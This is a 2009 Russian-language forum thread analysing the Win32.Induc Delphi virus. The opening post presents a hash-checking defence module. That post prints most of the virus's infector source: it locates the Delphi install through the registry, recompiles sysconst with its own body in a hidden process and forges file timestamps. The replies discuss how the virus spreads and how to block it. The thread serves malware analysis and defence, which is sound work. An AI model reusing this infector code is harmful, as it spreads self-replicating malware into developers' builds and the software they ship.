Защита от Win32.Induc (Delphi)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by flacs, 20 Aug 2009.

  1. flacs

    flacs Member

    Joined:
    28 Jan 2009
    Messages:
    81
    Likes Received:
    31
    Reputations:
    6
    Вступление

    Недавно в новостях был опубликован, новый гениальный вирус , Virus.Win32.Induc.a заражает Delphi-приложения на этапе разработки.

    Вирус оказался необычным и мне захотелось исследовать этот тип вируса.
    Разбор полетов, первая модификация этого вируса (12 августа 2009)

    PHP:
    function x(s:string):string;
    var 
      
    i:integer;
    begin 
      
    for i:=1 to length(s) do 
        if 
    s[i]=#36 then s[i]:=#39;
      
    result:=s;
    end;

    procedure re(s,d,e:string);
    var
      
    f1,f2:textfile;
      
    h:cardinal;
      
    f:STARTUPINFO;
      
    p:PROCESS_INFORMATION;
      
    b:boolean;
      
    t1,t2,t3:FILETIME;
    begin
      h
    :=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
      if 
    h<>DWORD(-1then
      begin
        CloseHandle
    (h);
        exit;
      
    end;
      {
    'I-}assignfile(f1,s);
      reset(f1);
      if ioresult<>0 then
        exit;
      assignfile(f2,d+'
    pas');
      rewrite(f2);
      if ioresult<>0 then 
      begin 
        closefile(f1); 
        exit; 
      end;

      while not eof(f1) do
      begin
        readln(f1,s);
        writeln(f2,s);
        if pos('
    implementation',s)<>0 then
          break;
      end;

      for h:= 1 to 1 do
        writeln(f2,sc[h]);
      for h:= 1 to 23 do
        writeln(f2,''''+sc[h],'''
    ,');
      writeln(f2,''''+sc[24]+'''
    );');
      for h:= 2 to 24 do
        writeln(f2,x(sc[h]));
      closefile(f1);
      closefile(f2);
      {'
    I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
      
    fillchar(f,sizeof(f),0);
      
    f.cb := sizeof(f);
      
    f.dwFlags := STARTF_USESHOWWINDOW;
      
    f.wShowWindow := SW_HIDE;
      
    := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
      if 
    b then
        WaitForSingleObject
    (p.hProcess,INFINITE);
      
    MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
      
    DeleteFile(pchar(d+'pas'));
      
    := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
      if 
    h=DWORD(-1then
        
    exit;
      
    GetFileTime(h,@t1,@t2,@t3);
      
    CloseHandle(h);
      
    := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
      if 
    h=DWORD(-1then
        
    exit;
      
    SetFileTime(h,@t1,@t2,@t3);
      
    CloseHandle(h);
    end;

    procedure st;
    var  
      
    k:HKEY;
      
    c:array [1..255of char;
      
    i:cardinal;
      
    r:string;
      
    v:char;
    begin
      
    for v:='4' to '7' do
        if 

    RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY

    _READ,k)=0 then
        begin
          i:=255;
          if RegQueryValueEx(k,'
    RootDir',nil,@i,@c,@i)=0 then
          begin
            r:='';
            i:=1;
            while c[i]<>#0 do
            begin
              r:=r+c[i];
              inc(i);
            end;   

    re(r+'
    \source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.ex

    e" ');
          end;
        RegCloseKey(k);
      end;
    end;

    begin
      st;
    end.

    Код несложный, изучив его вы сможете понять его логику.
    Суть в том, файл sysconst.pas подключается к любым проектом delphi, а главное к файлу sysutils.pas, вследствии этого любое приложение (в том числе и консольное), будет заражено этим вирусом.

    Попробуем реализовать, подобное
    Откроем файл sysconst.pas, после interface
    пишем uses windows;
    и после строки implementation, вписываем такой код

    Code:
    begin
    	MessageBox(0,'Win32.InducA','virus',0);
    end;
    Компилируем, ага появилась заветное сообщение.

    т.к. создателям исключительно повезло что файл sysconst.pas поставляется в исходных текстах, т.к. больше никакие системные файлы, к примеру sysitils, не поставляется в *.pas файлах, а только в *.dcu -> изменить их нельзя, но...
    существуют декомпиляторы dcu файлов, и вирусописатели смогут восстановить код
    так, что поняв это я начал писать универсальную защиту от подобного типа вирусов.

    Защита

    Мною был разработан модуль, подключающийся к любому проекту Delphi, и сигнализирующий о том что библиотеки Delphi инфицированы, для этого был закодирован алгоритм, реализующий следующие действия:

    1) Создание файла хешей
    2) Сверка хешей, во время запуск
    а

    Проведя небольшое исследование, и поняв что защитный модуль, включаемый в разрабатываемую программу должен БЫТЬ ПЕРВЫМ!!!
    т.е.
    anti_induc, sysutils;

    Тогда защита срабатывает до того как инициализируется системная библиотека (sysutils, sysconst)

    1) Создание файла хешей
    Code:
    SnapshopHash(RootDelphiPath+'\Lib',EXP_MASK, true);
    
    В результате выполнения создается файлик по умолчанию (__hashes.md5), который будет использован для сверки хешей. Т.е. отдельно для каждой машины можно создать файл хешей, в виде

    имя файла = хеш файла

    2) Сверка хешей
    Code:
    SnapshopHash(RootDelphiPath+'\Lib',EXP_MASK, false);
    
    Сверка хешей, происходит валидация модулей, при нахождении инфицированого модуля, выдается сообщение

    Universal Detect Virus.Win32.Induc.A
    File: имя файла


    Также результаты записываться в лог файл %Delphi%\Lib\log.txt

    Как только будет найден хоть один инфицированный модуль, процесс завершается до того, как вирус начнет действовать.


    Заключение

    Данный алгоритм, явлется универсальным, и будет спасать от любых модификаций этого вируса, но имеет небольшой недостаток, пересчет md5 хеша, занимает продолжительное время(2-3 сек). Но изпользовать CRC32 сходно самоубийству, т.к. подделать CRC32 можно простейшим плагином к peID.

    Как альтернативу советую изпользовать как утилиту для проверки, и сделать так чтобы она запускалась при старте Windows.

    исходные файлы, и эксперименты вы можете скачать по слылке

    исходники

    (с) flacs 2009

    P.S: принимаю любую конструктивную критику.
     
    #1 flacs, 20 Aug 2009
    Last edited: 20 Aug 2009
    6 people like this.
  2. ErrorNeo

    ErrorNeo Elder - Старейшина

    Joined:
    2 May 2009
    Messages:
    923
    Likes Received:
    836
    Reputations:
    402
    во первых вирус не новый
    ) я там обновил новость. впервые его обнаружили еще весной, но есть мнение, что этому вирусу уже больше года... <думаю комментарии тут не требуются>

    код у тебя не полный) выложил бы хоть полный, все равно ведь вирь сам по себе не просто безобидный, но даже создаёт *.bak файл изменяемого им дельфи модуля!11
    вот именно у таких виримейкеров надо учиться школьнегам, мечтающим всё у всех отформатировать)

    автор позаботился даже о том, чтобы зараженным машиная не было нанесено даже _минимального_ ущерба, и вирус мог бы быть совершенно без последствий удален.

    защита? ну да, молодец. +. хотя пытаться защитить винду - все равно, что пытаться поставить заплатки на все дырки в гигантском решете)

    в любом случае плюс) лично мне эта защита не нужна, мне интереснее сама эта замечательная зверушка)
     
    1 person likes this.
  3. flacs

    flacs Member

    Joined:
    28 Jan 2009
    Messages:
    81
    Likes Received:
    31
    Reputations:
    6
    код вируса я в каком то блоге взял... и логика его работы понятна.

    через реестр находим, где установлена Delphi, идем в папку lib, у файла sysconst.pas, меняется расширение(sysconst.bak), из исполняемого файла вытаскивается тело вируса(тело вируса в const), и компилируется утилитой dcc32.exe (производящая в компоновку в *.dcu модули)
    Для пущей скрытности, меняется время создания файлов sysconst.bak, sysconst.dcu, в то время когда был создан неинффицированый файл sysconst.pas (оригинальный)
     
    #3 flacs, 20 Aug 2009
    Last edited: 20 Aug 2009
  4. ErrorNeo

    ErrorNeo Elder - Старейшина

    Joined:
    2 May 2009
    Messages:
    923
    Likes Received:
    836
    Reputations:
    402
    вообще, пожалуй, да....
    этот код сейчас разошелся по всему миру... я думаю очень многие умельцы используют именно его как основной метод распространения.
    так что защита флакса может оказаться гораздо более нужной, чем мне показалось сначала

    потому что я, например, не сомневаюсь, что если чуть чуть по-шаманить над кодом - то он опять перестанет палиться)
     
  5. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    937
    Likes Received:
    162
    Reputations:
    27
    Мда... Я думал, что это глюк в Касперском, - палить проги на этапе создания. Поэтому всегда отключал его. Спасибо, не знал раньше об этом вирусе...
     
  6. mr. ZetRikS

    mr. ZetRikS New Member

    Joined:
    17 Jul 2009
    Messages:
    45
    Likes Received:
    2
    Reputations:
    0
    Спасибо за инфу... буквально позвачера столкнулся с этим вирем...
    Как подцепил так и не понял...
     
  7. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    самый лучший способ защиты - это запретить запись в папку с DCU файлами. Темболее что через установку прав доступа на NTFS это делает проще некудо. Зато можно небояться. потому как врядли вирь будет менять права доступа, покрайней мере по началу. Или вообще убрать себя из владельцев файлов. чтобы даже незя было поменять права доступа просто так. А тока через аудит итд итп
     
    2 people like this.